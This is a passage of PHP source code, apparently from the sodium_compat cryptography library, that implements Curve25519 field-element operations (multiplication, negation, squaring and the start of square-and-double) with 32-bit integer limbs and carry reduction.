     * Is a field element negative? (1 = yes, 0 = no. Used in calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnegative(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        $str = self::fe_tobytes($f);
        /** @var string $zero */
        return !self::verify_32($str, $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g
    ) {
        /**
         * @var ParagonIE_Sodium_Core32_Int32[] $f
         * @var ParagonIE_Sodium_Core32_Int32[] $g
         * @var ParagonIE_Sodium_Core32_Int64 $f0
         * @var ParagonIE_Sodium_Core32_Int64 $f1
         * @var ParagonIE_Sodium_Core32_Int64 $f2
         * @var ParagonIE_Sodium_Core32_Int64 $f3
         * @var ParagonIE_Sodium_Core32_Int64 $f4
         * @var ParagonIE_Sodium_Core32_Int64 $f5
         * @var ParagonIE_Sodium_Core32_Int64 $f6
         * @var ParagonIE_Sodium_Core32_Int64 $f7
         * @var ParagonIE_Sodium_Core32_Int64 $f8
         * @var ParagonIE_Sodium_Core32_Int64 $f9
         * @var ParagonIE_Sodium_Core32_Int64 $g0
         * @var ParagonIE_Sodium_Core32_Int64 $g1
         * @var ParagonIE_Sodium_Core32_Int64 $g2
         * @var ParagonIE_Sodium_Core32_Int64 $g3
         * @var ParagonIE_Sodium_Core32_Int64 $g4
         * @var ParagonIE_Sodium_Core32_Int64 $g5
         * @var ParagonIE_Sodium_Core32_Int64 $g6
         * @var ParagonIE_Sodium_Core32_Int64 $g7
         * @var ParagonIE_Sodium_Core32_Int64 $g8
         * @var ParagonIE_Sodium_Core32_Int64 $g9
         */
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();
        $g0 = $g[0]->toInt64();
        $g1 = $g[1]->toInt64();
        $g2 = $g[2]->toInt64();
        $g3 = $g[3]->toInt64();
        $g4 = $g[4]->toInt64();
        $g5 = $g[5]->toInt64();
        $g6 = $g[6]->toInt64();
        $g7 = $g[7]->toInt64();
        $g8 = $g[8]->toInt64();
        $g9 = $g[9]->toInt64();
        $g1_19 = $g1->mulInt(19, 5); /* 2^4 <= 19 <= 2^5, but we only want 5 bits */
        $g2_19 = $g2->mulInt(19, 5);
        $g3_19 = $g3->mulInt(19, 5);
        $g4_19 = $g4->mulInt(19, 5);
        $g5_19 = $g5->mulInt(19, 5);
        $g6_19 = $g6->mulInt(19, 5);
        $g7_19 = $g7->mulInt(19, 5);
        $g8_19 = $g8->mulInt(19, 5);
        $g9_19 = $g9->mulInt(19, 5);
        $f1_2 = $f1->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f9_2 = $f9->shiftLeft(1);
        $f0g0    = $f0->mulInt64($g0, 27);
        $f0g1    = $f0->mulInt64($g1, 27);
        $f0g2    = $f0->mulInt64($g2, 27);
        $f0g3    = $f0->mulInt64($g3, 27);
        $f0g4    = $f0->mulInt64($g4, 27);
        $f0g5    = $f0->mulInt64($g5, 27);
        $f0g6    = $f0->mulInt64($g6, 27);
        $f0g7    = $f0->mulInt64($g7, 27);
        $f0g8    = $f0->mulInt64($g8, 27);
        $f0g9    = $f0->mulInt64($g9, 27);
        $f1g0    = $f1->mulInt64($g0, 27);
        $f1g1_2  = $f1_2->mulInt64($g1, 27);
        $f1g2    = $f1->mulInt64($g2, 27);
        $f1g3_2  = $f1_2->mulInt64($g3, 27);
        $f1g4    = $f1->mulInt64($g4, 30);
        $f1g5_2  = $f1_2->mulInt64($g5, 30);
        $f1g6    = $f1->mulInt64($g6, 30);
        $f1g7_2  = $f1_2->mulInt64($g7, 30);
        $f1g8    = $f1->mulInt64($g8, 30);
        $f1g9_38 = $g9_19->mulInt64($f1_2, 30);
        $f2g0    = $f2->mulInt64($g0, 30);
        $f2g1    = $f2->mulInt64($g1, 29);
        $f2g2    = $f2->mulInt64($g2, 30);
        $f2g3    = $f2->mulInt64($g3, 29);
        $f2g4    = $f2->mulInt64($g4, 30);
        $f2g5    = $f2->mulInt64($g5, 29);
        $f2g6    = $f2->mulInt64($g6, 30);
        $f2g7    = $f2->mulInt64($g7, 29);
        $f2g8_19 = $g8_19->mulInt64($f2, 30);
        $f2g9_19 = $g9_19->mulInt64($f2, 30);
        $f3g0    = $f3->mulInt64($g0, 30);
        $f3g1_2  = $f3_2->mulInt64($g1, 30);
        $f3g2    = $f3->mulInt64($g2, 30);
        $f3g3_2  = $f3_2->mulInt64($g3, 30);
        $f3g4    = $f3->mulInt64($g4, 30);
        $f3g5_2  = $f3_2->mulInt64($g5, 30);
        $f3g6    = $f3->mulInt64($g6, 30);
        $f3g7_38 = $g7_19->mulInt64($f3_2, 30);
        $f3g8_19 = $g8_19->mulInt64($f3, 30);
        $f3g9_38 = $g9_19->mulInt64($f3_2, 30);
        $f4g0    = $f4->mulInt64($g0, 30);
        $f4g1    = $f4->mulInt64($g1, 30);
        $f4g2    = $f4->mulInt64($g2, 30);
        $f4g3    = $f4->mulInt64($g3, 30);
        $f4g4    = $f4->mulInt64($g4, 30);
        $f4g5    = $f4->mulInt64($g5, 30);
        $f4g6_19 = $g6_19->mulInt64($f4, 30);
        $f4g7_19 = $g7_19->mulInt64($f4, 30);
        $f4g8_19 = $g8_19->mulInt64($f4, 30);
        $f4g9_19 = $g9_19->mulInt64($f4, 30);
        $f5g0    = $f5->mulInt64($g0, 30);
        $f5g1_2  = $f5_2->mulInt64($g1, 30);
        $f5g2    = $f5->mulInt64($g2, 30);
        $f5g3_2  = $f5_2->mulInt64($g3, 30);
        $f5g4    = $f5->mulInt64($g4, 30);
        $f5g5_38 = $g5_19->mulInt64($f5_2, 30);
        $f5g6_19 = $g6_19->mulInt64($f5, 30);
        $f5g7_38 = $g7_19->mulInt64($f5_2, 30);
        $f5g8_19 = $g8_19->mulInt64($f5, 30);
        $f5g9_38 = $g9_19->mulInt64($f5_2, 30);
        $f6g0    = $f6->mulInt64($g0, 30);
        $f6g1    = $f6->mulInt64($g1, 30);
        $f6g2    = $f6->mulInt64($g2, 30);
        $f6g3    = $f6->mulInt64($g3, 30);
        $f6g4_19 = $g4_19->mulInt64($f6, 30);
        $f6g5_19 = $g5_19->mulInt64($f6, 30);
        $f6g6_19 = $g6_19->mulInt64($f6, 30);
        $f6g7_19 = $g7_19->mulInt64($f6, 30);
        $f6g8_19 = $g8_19->mulInt64($f6, 30);
        $f6g9_19 = $g9_19->mulInt64($f6, 30);
        $f7g0    = $f7->mulInt64($g0, 30);
        $f7g1_2  = $g1->mulInt64($f7_2, 30);
        $f7g2    = $f7->mulInt64($g2, 30);
        $f7g3_38 = $g3_19->mulInt64($f7_2, 30);
        $f7g4_19 = $g4_19->mulInt64($f7, 30);
        $f7g5_38 = $g5_19->mulInt64($f7_2, 30);
        $f7g6_19 = $g6_19->mulInt64($f7, 30);
        $f7g7_38 = $g7_19->mulInt64($f7_2, 30);
        $f7g8_19 = $g8_19->mulInt64($f7, 30);
        $f7g9_38 = $g9_19->mulInt64($f7_2, 30);
        $f8g0    = $f8->mulInt64($g0, 30);
        $f8g1    = $f8->mulInt64($g1, 29);
        $f8g2_19 = $g2_19->mulInt64($f8, 30);
        $f8g3_19 = $g3_19->mulInt64($f8, 30);
        $f8g4_19 = $g4_19->mulInt64($f8, 30);
        $f8g5_19 = $g5_19->mulInt64($f8, 30);
        $f8g6_19 = $g6_19->mulInt64($f8, 30);
        $f8g7_19 = $g7_19->mulInt64($f8, 30);
        $f8g8_19 = $g8_19->mulInt64($f8, 30);
        $f8g9_19 = $g9_19->mulInt64($f8, 30);
        $f9g0    = $f9->mulInt64($g0, 30);
        $f9g1_38 = $g1_19->mulInt64($f9_2, 30);
        $f9g2_19 = $g2_19->mulInt64($f9, 30);
        $f9g3_38 = $g3_19->mulInt64($f9_2, 30);
        $f9g4_19 = $g4_19->mulInt64($f9, 30);
        $f9g5_38 = $g5_19->mulInt64($f9_2, 30);
        $f9g6_19 = $g6_19->mulInt64($f9, 30);
        $f9g7_38 = $g7_19->mulInt64($f9_2, 30);
        $f9g8_19 = $g8_19->mulInt64($f9, 30);
        $f9g9_38 = $g9_19->mulInt64($f9_2, 30);

        // $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h0 = $f0g0->addInt64($f1g9_38)->addInt64($f2g8_19)->addInt64($f3g7_38)
            ->addInt64($f4g6_19)->addInt64($f5g5_38)->addInt64($f6g4_19)
            ->addInt64($f7g3_38)->addInt64($f8g2_19)->addInt64($f9g1_38);

        // $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h1 = $f0g1->addInt64($f1g0)->addInt64($f2g9_19)->addInt64($f3g8_19)
            ->addInt64($f4g7_19)->addInt64($f5g6_19)->addInt64($f6g5_19)
            ->addInt64($f7g4_19)->addInt64($f8g3_19)->addInt64($f9g2_19);

        // $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h2 = $f0g2->addInt64($f1g1_2)->addInt64($f2g0)->addInt64($f3g9_38)
            ->addInt64($f4g8_19)->addInt64($f5g7_38)->addInt64($f6g6_19)
            ->addInt64($f7g5_38)->addInt64($f8g4_19)->addInt64($f9g3_38);

        // $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h3 = $f0g3->addInt64($f1g2)->addInt64($f2g1)->addInt64($f3g0)
            ->addInt64($f4g9_19)->addInt64($f5g8_19)->addInt64($f6g7_19)
            ->addInt64($f7g6_19)->addInt64($f8g5_19)->addInt64($f9g4_19);

        // $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h4 = $f0g4->addInt64($f1g3_2)->addInt64($f2g2)->addInt64($f3g1_2)
            ->addInt64($f4g0)->addInt64($f5g9_38)->addInt64($f6g8_19)
            ->addInt64($f7g7_38)->addInt64($f8g6_19)->addInt64($f9g5_38);

        // $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0    + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h5 = $f0g5->addInt64($f1g4)->addInt64($f2g3)->addInt64($f3g2)
            ->addInt64($f4g1)->addInt64($f5g0)->addInt64($f6g9_19)
            ->addInt64($f7g8_19)->addInt64($f8g7_19)->addInt64($f9g6_19);

        // $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2  + $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h6 = $f0g6->addInt64($f1g5_2)->addInt64($f2g4)->addInt64($f3g3_2)
            ->addInt64($f4g2)->addInt64($f5g1_2)->addInt64($f6g0)
            ->addInt64($f7g9_38)->addInt64($f8g8_19)->addInt64($f9g7_38);

        // $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2    + $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h7 = $f0g7->addInt64($f1g6)->addInt64($f2g5)->addInt64($f3g4)
            ->addInt64($f4g3)->addInt64($f5g2)->addInt64($f6g1)
            ->addInt64($f7g0)->addInt64($f8g9_19)->addInt64($f9g8_19);

        // $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2  + $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h8 = $f0g8->addInt64($f1g7_2)->addInt64($f2g6)->addInt64($f3g5_2)
            ->addInt64($f4g4)->addInt64($f5g3_2)->addInt64($f6g2)
            ->addInt64($f7g1_2)->addInt64($f8g0)->addInt64($f9g9_38);

        // $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4    + $f6g3    + $f7g2    + $f8g1    + $f9g0   ;
        $h9 = $f0g9->addInt64($f1g8)->addInt64($f2g7)->addInt64($f3g6)
            ->addInt64($f4g5)->addInt64($f5g4)->addInt64($f6g3)
            ->addInt64($f7g2)->addInt64($f8g1)->addInt64($f9g0);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         * @var ParagonIE_Sodium_Core32_Int64 $carry0
         * @var ParagonIE_Sodium_Core32_Int64 $carry1
         * @var ParagonIE_Sodium_Core32_Int64 $carry2
         * @var ParagonIE_Sodium_Core32_Int64 $carry3
         * @var ParagonIE_Sodium_Core32_Int64 $carry4
         * @var ParagonIE_Sodium_Core32_Int64 $carry5
         * @var ParagonIE_Sodium_Core32_Int64 $carry6
         * @var ParagonIE_Sodium_Core32_Int64 $carry7
         * @var ParagonIE_Sodium_Core32_Int64 $carry8
         * @var ParagonIE_Sodium_Core32_Int64 $carry9
         */
        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_neg(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->subInt32($f[$i]);
        }
        return $h;
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();

        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6);
        $f6_19 = $f6->mulInt(19, 5);
        $f7_38 = $f7->mulInt(38, 6);
        $f8_19 = $f8->mulInt(19, 5);
        $f9_38 = $f9->mulInt(38, 6);

        $f0f0    = $f0->mulInt64($f0, 28);
        $f0f1_2  = $f0_2->mulInt64($f1, 28);
        $f0f2_2 =  $f0_2->mulInt64($f2, 28);
        $f0f3_2 =  $f0_2->mulInt64($f3, 28);
        $f0f4_2 =  $f0_2->mulInt64($f4, 28);
        $f0f5_2 =  $f0_2->mulInt64($f5, 28);
        $f0f6_2 =  $f0_2->mulInt64($f6, 28);
        $f0f7_2 =  $f0_2->mulInt64($f7, 28);
        $f0f8_2 =  $f0_2->mulInt64($f8, 28);
        $f0f9_2 =  $f0_2->mulInt64($f9, 28);

        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 28);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 30);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 28);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 30);

        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 30);
        $f2f9_38 = $f9_38->mulInt64($f2, 30);

        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
        $f3f5_4 = $f3_2->mulInt64($f5_2, 30);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 30);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 30);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 30);

        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 30);
        $f4f7_38 = $f7_38->mulInt64($f4, 30);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 30);
        $f4f9_38 = $f9_38->mulInt64($f4, 30);

        $f5f5_38 = $f5_38->mulInt64($f5, 30);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 30);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 30);
        $f5f8_38 = $f8_19->mulInt64($f5_2, 30);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 30);

        $f6f6_19 = $f6_19->mulInt64($f6, 30);
        $f6f7_38 = $f7_38->mulInt64($f6, 30);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 30);
        $f6f9_38 = $f9_38->mulInt64($f6, 30);

        $f7f7_38 = $f7_38->mulInt64($f7, 28);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 30);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 30);

        $f8f8_19 = $f8_19->mulInt64($f8, 30);
        $f8f9_38 = $f9_38->mulInt64($f8, 30);

        $f9f9_38 = $f9_38->mulInt64($f9, 28);

        $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq2(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();

        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6); /* 1.959375*2^30 */
        $f6_19 = $f6->mulInt(19, 5); /* 1.959375*2^30 */
        $f7_38 = $f7->mulInt(38, 6); /* 1.959375*2^30 */
        $f8_19 = $f8->mulInt(19, 5); /* 1.959375*2^30 */
        $f9_38 = $f9->mulInt(38, 6); /* 1.959375*2^30 */
        $f0f0 = $f0->mulInt64($f0, 28);
        $f0f1_2 = $f0_2->mulInt64($f1, 28);
        $f0f2_2 = $f0_2->mulInt64($f2, 28);
        $f0f3_2 = $f0_2->mulInt64($f3, 28);
        $f0f4_2 = $f0_2->mulInt64($f4, 28);
        $f0f5_2 = $f0_2->mulInt64($f5, 28);
        $f0f6_2 = $f0_2->mulInt64($f6, 28);
        $f0f7_2 = $f0_2->mulInt64($f7, 28);
        $f0f8_2 = $f0_2->mulInt64($f8, 28);
        $f0f9_2 = $f0_2->mulInt64($f9, 28);
        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 29);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 29);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 29);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 29);
        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 29);
        $f2f9_38 = $f9_38->mulInt64($f2, 29);
        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
